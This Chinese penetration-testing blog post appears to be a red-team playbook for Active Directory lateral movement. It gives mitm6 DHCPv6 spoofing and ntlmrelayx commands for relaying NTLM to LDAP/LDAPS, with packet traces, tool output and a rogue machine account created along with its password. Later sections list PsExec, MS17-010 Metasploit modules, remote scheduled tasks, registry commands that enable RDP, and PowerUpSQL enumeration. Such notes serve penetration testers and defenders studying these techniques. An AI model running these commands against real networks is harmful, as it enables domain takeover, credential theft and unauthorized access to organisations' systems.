python3 ntlmrelayx.py -t ldap://<Domain Controller IP> --no-smb-server --no-wcf-server --no-raw-server --no-da --no-acl

再运行 mitm6,通过 DHCP 欺骗直接给发起 DHCPv6 广播的客户端响应 IPv6 的 DNS 服务器地址。当通过受害者使用浏览器访问指定域名时,会把域名解析发送到 mitm6 开启的 DNS 服务器,由于 IPv6 DNS 优先级比 IPv4 DNS 请求高,查询返回的 IP 当前恶意服务器,因此自动请求 ntlmrelayx 脚本开启的 HTTP 服务,输入账户后完成 Relay 攻击。

使用 -d 选项只欺骗包含 test.com 关键字的域名,这样就不会影响到其他域名,避免所有服务没法正常使用。

sudo mitm6 -i eth1 -d test.com

受害者开机或者 ipconfig /renew6 重新获取 DHCPv6 地址后,稍微等待会儿将收到 mitm6 响应的 IPv6 配置。

mitm6 成功欺骗到主机.png

通过 WireShark 抓包 "DHCPv6 广播响应.pcapng" 能看到 No.1-4,No.6 是受害者 fe80::73ab:d035:7fd3:9b2f 向 ff02::1:2 发起组播,让所有 DHCP 服务器请求内容。而攻击机 fe80::b684:6836:38c:d92e 则直接响应 DNS 服务器。

输入域账户密码登录到受害者机器,查询网络配置 ipconfig /all 发现确实配置了攻击机响应的 IPv6 DNS 服务器和对应 DNS Suffix Search List。

受害者成功配置上 IPv6 DNS 服务器.png

在稍微等待一会儿,约二十来秒,会自动携带凭证向 ntlmrelayx 启动的 HTTP 服务请求 wpad.dat,完成 Relay 获取域中的信息。

受害者自动向攻击机发起 wpad 请求.png

或者受害者输入域账户进行 Basic 认证后自动响应 404——如果能自定义响应多好,直接跳转到内网其他业务系统上。

受害者访问攻击机 HTTP 服务提示 Basic 认证.png

这样 ntlmrelayx 也会自动导出域内信息。

攻击机使用 Basic 凭证进行 Relay.png

数据输出在当前目录,内容是关于域中用户、组、密码策略、域信任的信息,给你提供 JSON、HTML、PlainText 三种格式的数据浏览方式。

成功导出域内对象信息.png

从 DHCP 欺骗到 HTTP To LDAP 整个过程通过 Wireshark 抓包 "DHCPv6 Spoofing-Relay To LDAP.pcapng" 来清晰的理解交互流程,包中一共涉及三台主机:

  • 域控:192.168.37.1
  • 受害者:192.168.37.3
  • 攻击机:192.168.37.2

DHCPv6 在前面有单独摘出来讲过,这里我们只关注下 HTTP To LDAP 的过程(使用 Ctrl + g 可以快速跳到对应编号的包,比如 No.10 ,就输入 10 转到对应分组):

  • No.1694,No.1696 访问攻击机。发现响应 401 准备携带凭证。

    GET /wpad.dat HTTP/1.1
    Host: wpad
    Connection: keep-alive
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.46
    Accept-Encoding: gzip, deflate
    
    HTTP/1.1 401 Unauthorized
    Server: SimpleHTTP/0.6 Python/3.11.6
    Date: Wed, 13 Dec 2023 07:54:11 GMT
    WWW-Authenticate: NTLM
    Content-type: text/html
    Content-Length: 0
    Connection: keep-alive

    你可能觉得 Host 请求头值是 wpad,DNS 查询不到记录才对,但前面 DHCPv6 返回 DNS 服务器时也返回了 DNS Suffix Search List,所以请求主机 wpad 自动变成 wpad.test.com,而工具刚好匹配的就是 test.com,一看这个字符串存在就返回解析结果。

  • No.1698 受害者向攻击机 HTTP 服务发起协商。No.1711 攻击机 HTTP 响应协商结果并返回 Challenge。

    GET /wpad.dat HTTP/1.1
    Host: wpad
    Connection: keep-alive
    Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAKAGFKAAAADw==
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.46
    Accept-Encoding: gzip, deflate
    
    HTTP/1.1 401 Unauthorized
    Server: SimpleHTTP/0.6 Python/3.11.6
    Date: Wed, 13 Dec 2023 07:54:11 GMT
    WWW-Authenticate: NTLM TlRMTVNTUAACAAAAEAAQADgAAAAFgomisu/i/Z4z6qMAAAAAAAAAALIAsgBIAAAACgBjRQAAAA9SAEEASQBOAEcAUgBBAFkAAgAQAFIAQQBJAE4ARwBSAEEAWQABABoARABDAC0AQgBFAEkASgBJAE4ARwAtADAAMQAEABgAcgBhAGkAbgBnAHIAYQB5AC4AYwBvAG0AAwA0AEQAQwAtAEIARQBJAEoASQBOAEcALQAwADEALgByAGEAaQBuAGcAcgBhAHkALgBjAG8AbQAFABgAcgBhAGkAbgBnAHIAYQB5AC4AYwBvAG0ABwAIAA+1VY+ZLdoBAAAAAA==
    Content-type: text/html
    Content-Length: 0
    Connection: keep-alive

    No.1709 攻击机转手就直接向域控 LDAP 转发的受害者协商请求做认证。No.1710 攻击机收到域控的 Challenge,希望进一步做认证。

  • No.1712,受害者加密 Challenge 向攻击机发起认证,No.1739 攻击机响应 404。

    GET /wpad.dat HTTP/1.1
    Host: wpad
    Connection: keep-alive
    Authorization: NTLM TlRMTVNTUAADAAAAGAAYAIAAAABIAUgBmAAAABAAEABYAAAADgAOAGgAAAAKAAoAdgAAAAAAAADgAQAABYKIogoAYUoAAAAPzkrM7oY/ZK5tX5lGyZbW61IAQQBJAE4ARwBSAEEAWQB6AGgAYQBuAGcAcQBpAFAAQwAtADAAMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACrqyhQNExIrjyfMB9CqV5OAQEAAAAAAAAPtVWPmS3aAUUswA0pBxmTAAAAAAIAEABSAEEASQBOAEcAUgBBAFkAAQAaAEQAQwAtAEIARQBJAEoASQBOAEcALQAwADEABAAYAHIAYQBpAG4AZwByAGEAeQAuAGMAbwBtAAMANABEAEMALQBCAEUASQBKAEkATgBHAC0AMAAxAC4AcgBhAGkAbgBnAHIAYQB5AC4AYwBvAG0ABQAYAHIAYQBpAG4AZwByAGEAeQAuAGMAbwBtAAcACAAPtVWPmS3aAQYABAACAAAACAAwADAAAAAAAAAAAQAAAAAgAAAX++TpENzoNzTYdevWkr1RqHw/QSo+wIFQ9+/nkUZMHQoAEAAAAAAAAAAAAAAAAAAAAAAACQASAEgAVABUAFAALwB3AHAAYQBkAAAAAAAAAAAA
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.46
    Accept-Encoding: gzip, deflate
    
    HTTP/1.1 404 Not Found
    Server: SimpleHTTP/0.6 Python/3.11.6
    Date: Wed, 13 Dec 2023 07:54:11 GMT
    WWW-Authenticate: NTLM
    Content-type: text/html
    Content-Length: 0
    Connection: close

    No.1713 攻击机携带受害者认证消息向域控 LDAP 发起 bindRequest 认证,No.1714 返回 resultCode: success (0),表示认证成功。后面的都是 LDAP 查询数据。

三、使用 mitm6 进行 DHCPv6 Spoofing-创建机器账户

默认情况下每个域账户可以创建 10 个机器账户,通过中继让受害者来创建个机器账户,后续使用某些漏洞用来做认证或是信息收集。

ntlmrelayx.py 的 --add-computer 选项创建机器账户,不填默认是随机用户名和密码,也可以指定用户名或密码 --add-computer machineUsername password,单独只写用户名随机生成密码也行 --add-computer machineUsername。

python3 ntlmrelayx.py -t ldaps://<Domain Controller IP> --no-smb-server --no-wcf-server --no-raw-server --add-computer

和上面一样启动 mitm6。

┌──(kali㉿kali)-[~]
└─$ sudo mitm6 -i eth1 -d test.com
[sudo] password for kali: 
Starting mitm6 using the following configuration:
Primary adapter: eth1 [00:0c:29:6f:bb:e9]
IPv4 address: 192.168.37.2
IPv6 address: fe80::b684:6836:38c:d92e
DNS local search domain: test.com
DNS allowlist: test.com

稍微等待一会儿,LDAPS 会连接重置报错。

┌──(kali㉿kali)-[~]
└─$ impacket-ntlmrelayx -t ldaps://192.168.37.1 --no-smb-server --no-wcf-server --no-raw-server --add-computer -debug 
Impacket v0.11.0 - Copyright 2023 Fortra

[+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket
......
[*] Running in relay mode to single host
[*] Setting up HTTP Server on port 80

[*] Servers started, waiting for connections
[*] HTTPD(80): Client requested path: /wpad.dat
[*] HTTPD(80): Connection from 192.168.37.3 controlled, attacking target ldaps://192.168.37.1
[+] HTTPD(80): Exception:
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx/servers/httprelayserver.py", line 74, in handle_one_request
    http.server.SimpleHTTPRequestHandler.handle_one_request(self)
  File "/usr/lib/python3.11/http/server.py", line 424, in handle_one_request
    method()
  File "/usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx/servers/httprelayserver.py", line 275, in do_GET
    self.do_relay(messageType, token, proxy)
  File "/usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx/servers/httprelayserver.py", line 392, in do_relay
    if not self.do_ntlm_negotiate(token, proxy=proxy):
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx/servers/httprelayserver.py", line 283, in do_ntlm_negotiate
    if not self.client.initConnection():
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py", line 167, in initConnection
    self.session.open(False)
  File "/usr/lib/python3/dist-packages/ldap3/strategy/sync.py", line 57, in open
    BaseStrategy.open(self, reset_usage, read_server_info)
  File "/usr/lib/python3/dist-packages/ldap3/strategy/base.py", line 146, in open
    raise exception_history[0][0]
ldap3.core.exceptions.LDAPSocketOpenError: socket ssl wrapping error: [Errno 104] Connection reset by peer

换成普通的 LDAP 一样报 TLS 错误。

┌──(kali㉿kali)-[~]
└─$ sudo impacket-ntlmrelayx -t ldap://192.168.37.1 --no-smb-server --no-wcf-server --no-raw-server --add-computer -debug
[sudo] password for kali: 
Impacket v0.11.0 - Copyright 2023 Fortra

[+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket
......
[*] Running in relay mode to single host
[*] Setting up HTTP Server on port 80

[*] Servers started, waiting for connections
[*] HTTPD(80): Client requested path: /wpad.dat
[*] HTTPD(80): Connection from 192.168.37.3 controlled, attacking target ldap://192.168.37.1
[*] HTTPD(80): Client requested path: /wpad.dat
[*] HTTPD(80): Authenticating against ldap://192.168.37.1 as RAINGRAY/ZHANGQI SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[+] User is a member of: []
[+] User is a member of: [DN: CN=Domain Users,CN=Users,DC=raingray,DC=com - STATUS: Read - READ TIME: 2023-12-14T20:30:25.319727
    distinguishedName: CN=Domain Users,CN=Users,DC=raingray,DC=com
    name: Domain Users
    objectSid: S-1-5-21-247606177-2237963610-2667746150-513
]
[+] Computer container is CN=Computers,DC=raingray,DC=com
[*] Adding a machine account to the domain requires TLS but ldap:// scheme provided. Switching target to LDAPS via StartTLS
Exception in thread Thread-3:
Traceback (most recent call last):
  File "/usr/lib/python3.11/threading.py", line 1045, in _bootstrap_inner
    self.run()
  File "/usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx/attacks/ldapattack.py", line 1124, in run
    self.addComputer(computerscontainer, domainDumper)
  File "/usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx/attacks/ldapattack.py", line 141, in addComputer
    if not self.client.start_tls():
           ^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/ldap3/core/connection.py", line 1314, in start_tls
    if self.server.tls.start_tls(self) and self.strategy.sync:  # for asynchronous connections _start_tls is run by the strategy
       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/ldap3/core/tls.py", line 277, in start_tls
    raise LDAPStartTLSError(connection.last_error)
ldap3.core.exceptions.LDAPStartTLSError: startTLS failed - unavailable

根据 impacket issues "ntlmrelayx: socket ssl wrapping error #581",操作降级后配置完 reload 配置 systemctl daemon-reload 也没用。后来才看到当中提到使用 LDAPS 需要服务端配置证书,这里不搭建 ADCS 使用自签名来解决证书问题。下面是 PowerShell 脚本全自动生成、导入证书,非常感谢 @jlaundry 编写的自动化配置脚本。

$hostname = $([System.Net.Dns]::GetHostByName($env:computerName)).HostName
$domain = $(Get-ADDomain -Current LoggedOnUser).DNSRoot

# Create a new 10 year certificate
$now = Get-Date
$notafter = $now.AddYears(10)
$cert = New-SelfSignedCertificate -certstorelocation cert:\localmachine\my -notafter $notafter -dnsname $hostname, $domain 

# Export the cert (without private key)
Export-Certificate -Cert $cert -FilePath $Env:tmp\$hostname.cer

# Import the cert into trusted roots
# 会导入证书到 certlm.msc 中的个人里面。
Import-Certificate -FilePath "$Env:tmp\$hostname.cer" -CertStoreLocation Cert:\LocalMachine\Root
Remove-Item $Env:tmp\$hostname.cer


# Ask ADDS to reload the server cert
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/4cf26e43-ae0b-4823-b00c-18205ab78065
$renewservercert = @"
dn:
changetype: modify
add: renewServerCertificate
renewServerCertificate: 1
-
"@ -split '\n'

Set-Content "$Env:tmp\ldap-renewservercert.txt" $renewservercert

ldifde -i -f $Env:tmp\ldap-renewservercert.txt

Remove-Item $Env:tmp\ldap-renewservercert.txt

Active Directory LDAPS certificate configuration - Jed Laundry (jlaundry.nz)

How to Configure LDAPS for Active Directory Integration | Dell 中国

最后在域控命令提示符上运行 ldp 链接即可,要注意的点是 Server 要写主机名,尝试写 IP 连不上,端口呢 LDAPS 是 636,记得也要勾上 SSL 选项。

配置完 LDAPS 尝试连接.png

此时就连接成功。

LDAPS 连接成功.png

为什么添加机器账户需要用 LDAPS?@lowercase_drm 说是因为一些敏感操作必须要通过 TLS 链接进行。

An encrypted connection (with either TLS or LDAP sealing) is required for some type of operations such as lookup of sensitive properties (e.g. passwords of managed accounts) and some modifications (such as creating a machine account). Thus, creating a machine account through an LDAP relay when Channel Binding is enabled is tricky, because a plain LDAP connection cannot be used.

Bypassing LDAP Channel Binding with StartTLS - Almond Offensive Security Blog

此时 ntlmrelayx 再进行添加账户,又提示 0000216D。才发现把 raingray.com 域 ms-DS-MachineAccountQuota 设置为 0 了,导致普通域账户无法创建机器账户,重新设置为大于 0 的值即可解决。

[*] HTTPD(80): Client requested path: /wpad.dat
[*] HTTPD(80): Authenticating against ldaps://192.168.37.1 as RAINGRAY/ZHANGQI SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] Attempting to create computer in: CN=Computers,DC=raingray,DC=com
[-] Failed to add a new computer: {'result': 53, 'description': 'unwillingToPerform', 'dn': '', 'message': '0000216D: SvcErr: DSID-031A1236, problem 5003 (WILL_NOT_PERFORM), data 0\n\x00', 'referrals': None, 'type': 'addResponse'}

重新运行已经使用域账户 RAINGRAY/ZHANGQI 创建了机器账户 ADDMACHINEACCOUNT$,密码是 V>rG>VDon.m^}k<。如果还是失败可以尝试把 IP 替换成 FQDN,比如主机名是 PC-02,域名是 raingray.com,FQDN 为 PC-02.raingray.com。

┌──(kali㉿kali)-[~]
└─$ impacket-ntlmrelayx -t ldaps://192.168.37.1 --no-smb-server --no-wcf-server --no-raw-server --add-computer ADDMACHINEACCOUNT
Impacket v0.11.0 - Copyright 2023 Fortra

......
[*] Setting up HTTP Server on port 80

[*] Servers started, waiting for connections
[*] HTTPD(80): Client requested path: /wpad.dat
[*] HTTPD(80): Client requested path: /wpad.dat
[*] HTTPD(80): Connection from 192.168.37.3 controlled, attacking target ldaps://192.168.37.1
[*] HTTPD(80): Client requested path: /wpad.dat
[*] HTTPD(80): Authenticating against ldaps://192.168.37.1 as RAINGRAY/ZHANGQI SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] Attempting to create computer in: CN=Computers,DC=raingray,DC=com
[*] Adding new computer with username: ADDMACHINEACCOUNT$ and password: V>rG>VDon.m^}k< result: OK
[*] HTTPD(80): Client requested path: /wpad.dat
[*] HTTPD(80): Client requested path: /wpad.dat
[*] HTTPD(80): Connection from 192.168.37.3 controlled, but there are no more targets left!

四、使用 mitm6 进行 DHCPv6 Spoofing-基于资源的约束委派⚒️

需要先了解基于资源的约束委派是什么,怎么利用再来看中继怎么利用委派,不然一头雾水。

python3 ntlmrelayx.py -t ldaps://<Domain Controller IP> --no-smb-server --no-wcf-server --no-raw-server --delegate-access

五、使用 mitm6 进行 DHCPv6 Spoofing-提升指定用户权限⚒️

--escalate-user

HTTP To HTTP⚒️

Exchenage

ADCS

扩展:NTLMv1 降级攻击⚒️

r-tec 博客 |NetNTLMv1 降级妥协 - r-tec Cyber Security

NotMedic/NetNTLMtoSilverTicket:SpoolSample -> 响应程序,w/NetNTLM 降级 -> NetNTLMv1 -> NTLM -> Kerberos 银票 (github.com)

深入研究 NTLM 降级攻击 - Praetorian

NTLMv1 降级 - 渗透测试员的混杂笔记本 (snovvcrash.rocks)

TrustedSec 信任证券 |针对 NTLMv1 的实际攻击

NTLMv1 破解:

Windows下的密码hash——Net-NTLMv1介绍 (3gstudent.github.io)

Net- NTLM 利用 - windows protocol (gitbook.io)

5 Token Stealing⚒️

令牌窃取,国外也有叫 Token Impersonation,Token Theft,Token Stealing

利用场景举例,当前是管理员权限,尝试抓取 NT hash,lsass 被杀软保护了无法转储,或是成功导出 lsass 无法解析,这种情况下可以看看使用令牌窃取。

1.查询有哪些会话

需要确认当前有哪些令牌可用,tasklist /v 可以看看有没有其他账户在运行。

假如当前机器登过域账户,那么就用高完整性级别窃取指定进程账户 Token 进行横向。

2.窃取 Token

3.IPC 连接

6 Remote Services⚒️

先将协议原理,涉及使用的端口,以及利用条件是什么,比如需要什么哈希或者明文账户,这个账户需要的是什么权限。最后把这个操作会触发的日志说清楚,防止动静过大。

SMB

默认情况下 Windows 10/11 是不启用 445 端口和 ICMP 协议,只有主动启用共享后才自动开放这两防火墙入站规则。Windows Server 不受限制。

主动共享时会提示是否开启共享和开启网络发现(此电脑 -> 网络)。

网络发现和文件共享.png

在防火墙中对应的配置文件已经开启 ICMP 和 445。

使用共享自动开启 ICMP 和 SMB.png

这些设置可以在高级共享配置中管理。关闭文件和打印机共享,对应入站防火墙规则就禁用。

设置共享规则.png

PsExec⚒️

1.Sysinternals PsExec

PsExec 是 Sysinternals 工具集中的一种,可以方便的通过用管理员账户以命令行的方式远程执行命令,或者返回一个交互式 Shell 来操作机器。类似的开源工具有 PAExec,方便进行二开绕过杀软。

工具大致工作流程,是使用 Administrators 组内成员账户,通过 SMB 的 TCP 端口 445 连接到目标 Admin$(Admin Share 是 %SystemRoot% 文件夹),上传 PSEXESVC.exe 程序并创建名为 PSEXESVC 的服务以手动的方式运行,命令运行的结果输出到命名管道。

C:\Users\wuhui>sc qc psexesvc
[SC] QueryServiceConfig 成功

SERVICE_NAME: psexesvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Windows\PSEXESVC.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : PSEXESVC
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

https://www.smokescreen.io/assets/uploads/2020/08/GUIDE-Smokescreen-Top-Lateral-Movement-Techniques-Red-Team-Edition.pdf
https://www.hackingarticles.in/lateral-movement-remote-services-mitret1021/
https://learn.microsoft.com/zh-cn/troubleshoot/windows-server/networking/inter-process-communication-share-null-sessio

PS:

1.图形化许可弹窗提醒

此工具第一次运行会弹窗让同意使用许可,不同意就一直弹,如果在纯命令行下面会阻塞,没有输出返回。通过 psexec 文档发现,-accepteula 选项可以自动同意许可,同意过一次后下回运行命令就不再需要这个选项了,经测试此选项 Sysinternals 内的 PsLoggedon64.exe 也能使用,选项是通用的。

许可同意.png

2.受 Remote UAC 限制

默认情况下不使用 Administrator 账户进行连接就会提示拒绝访问,具体原因是 LocalAccountTokenFilterPolicy 限制导致的。详细说明看 PtH 文章中 “PtH 的限制,为什么没法 PtH” 这个小结。

执行命令退出。

./PsExec64.exe  \\<Target> -u <UserName> -p <Password> -i <Command>

获取 cmd 交互式 Shell-这个 cmd 是 PsExec64.exe 子进程。

./PsExec64.exe  -i \\<Target> -u <UserName> -p <Password> cmd

通过账户连接上去,上传文件创建任务计划反弹 Shell。目标要开启 135、445 才能连接 ipc。待确认

new use \\<Host>\ipc$ "Password" /user:<Username>

连接域账户这样写。

new use \\<Host>\ipc$ "Password" /user:<Domain>\<Username>

如果对搜集到账户密码一个个手动连接不现实,可以通过脚本批量组合对所有主机尝试进行连接。待编写脚本

<Host>
<UserName>
<Password>

2.Impacket psexec.py

通过 Impacket 工具包 psexec.py 使用哈希执行命令。

impacket-examples-windows 还有人将整个 Impacket 从 python 打包成 exe,避免了 Windows 机器上运行无依赖的问题,不过体积太大还不是最新版,最好自己要用到时重新打包一份。

MS08-067

早些年可能会存在,但如今 2023 年,很少会使用 WIndows XP、Windows Server 2008 了。

MS17-010(EhernalBlue,永恒之蓝)

打 MS17-010有几率蓝屏,本来就是要抓这台机器登录过的域账户 hash,结果打蓝屏了只能获取到 SAM。

MSF 利用模块推荐使用 auxiliary/admin/smb/ms17_010_command 执行命令,蓝屏几率小。

MSF 扫描 MS17-010 是否存在使用 auxiliary/scanner/smb/smb_ms17_010

WinRM

Windows Remote Management,一种 https:// 协议。

使用的端口

Ports: 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)

必须使用 Windows Server 中 Remote Management Users 组成员进行连接。

WMI

什么是 WMI?

前面在 PtH 的时候用过,有账户的情况下也直接连接,用什么账户连接就是什么权限。

DCOM

Winexe

Winexe 并不是内置的程序,需要自己编译上传到目标运行,或者代理流量使用。

使用 Username 连接到 Host 执行命令 cmd.exe。

winexe -U <UserName> --system --ostype=1 //<Host> cmd.exe

任务计划

有密码的情况可以远程创建任务计划

schtasks /create /s/ <Host> /u <Username> /p <password> /tn <任务计划名称> /sc minute /mo 1 /tr <要执行的程序>

RDP

1.开启 RDP

之前查过网络连接,里面可以看看有没监听默认端口 3389 就知道是不是用开放服务了。

netstat -ano -p tcp | findstr 0.0.0.0

没有的话,在开 RDP 前确认下默认端口多少,因为有的操作是最有可能修改 RDP 端口。查询到的值是十六进制需要手动转换为数字,如 0xd3d 是十六进制,转成 10 进制 3389,可以用 Windows 自带的 calc 切到程序员就可以计算。

C:\Users\gbb>REG QUERY HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
    PortNumber    REG_DWORD    0xd3d

拿到目标管理员权限开启 RDP 服务。

// Windows Server 2003 开启 RDP-1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

// Windows Server 2003 开启 RDP-2
REG ADD \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

// Windows Server 2008 开启 RDP
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

// Windows Server 2008 覆盖原有 RDP 端口设置成 3389(值不是非得用十六进制 d3d,用十进制 3389 也可以生效),要生效的话需要重启 RDP 服务
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

开了还连不上可能是防火墙的问题,可以选择关闭 https://www.raingray.com/archives/2474.html,或者新增一条规则。
Windows 下用 msctsc.exe 连接,Kali 下用 rdesktop/xfreerdp 连接。

极端情况登录账户别人刚好也在线,我们连接上后会提示这个账户已经登录,这时候选是,对方桌面上会提示有人登录,给出三个选项:

  • 是。直接退出当前登录;
  • 否。则是拒绝,是则是主动退出当前账户,是退出不是注销,退出对方运行的所有程序都还在;
  • 不处理。默认倒计时 30 不处理就自动注销登录。

远程桌面被挤提醒.png

他要是一直选否的话,我们还得没法登。

远程桌面拒绝被对方挤我们.png

这时候用 mstsc /admin 选项避开这个情况。这在 Windows 10 连接 Windows Server 2016 和 Windows 10 下都没有测试成功。

RDP 登录会有日志记录,在事件查看器 “应用程序和服务日志 -> Microsoft -> Windows -> TerminalServices- RemoteConnectionManager -> Operational” 查看具体日志。但使用 Win + R 打开运行直接打开下面文件会默认使用事件查看器读取,这样操作比上面慢慢找更快。

%SystemRoot%\System32\winevt\Logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx

常见事件有 1149 用户身份验证成功。

远程桌面身份验证成功事件 ID 1149.png

有时候没办法图形化远程连接,只能使用户名和密码就能通过远程桌面执行命令,有人研究出了这样的方式,编写了 SharpRDP 工具。

2.远程桌面会话劫持🔨

tscon hijacking

SSH

VNC

在国内不知道使用的频率高不高。

File Share

这里的共享是泛指一切可以共享文件的服务,比如 SMB、FTP 等。

如果共享有权限读写文件,可以找找哪些文件访问频率高,将其备份替换成 Payload 等待对方上线,这具有时间上的不确定性。也要考虑到防守方可以设置共享蜜罐,一旦更改或读取上面的文件就触发告警。

SQL Server⚒️

扫默认端口 1433,确认服务存活。

PowerUpSQL 可以自动获取域里注册 SPN 的 SQL Server 服务。

Get-SQLInstanceDomain

检查 SQL Server 是否能访问。

Get-SQLConnectionTestThreaded -Instance <Instance>

上面两条也可以组合起来,批量查有哪些 SQL Server 能不能访问。

Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded

查看单个服务器信息

Get-SQLServerInfoThreaded -Instance <Instance>

查看指定 SQL Server 有没链接到其他 SQL Server。

Get-SqlServerLinkCrawl -Verbose -Instance <Instance>

SQL Recon 也可以查看指定 SQL Server 服务器信息。

sqlrecon.exe -a Windows -s <SQL server hostname> -m info

Exchange⚒️

vCenter

大型企业中内网虚拟桌面都用 vCenter、ESXi

各类 Agent

比如终端管控的助手软件,尝试利用 Agent,打到 Server 端口。

参考资料

PowerView

Active Directory Exploitation Cheat Sheet

Kerberos Exploit

NTLM Authentication

Pass The Hash

NTLM Relay

最近更新:

发布时间:

摆哈儿龙门阵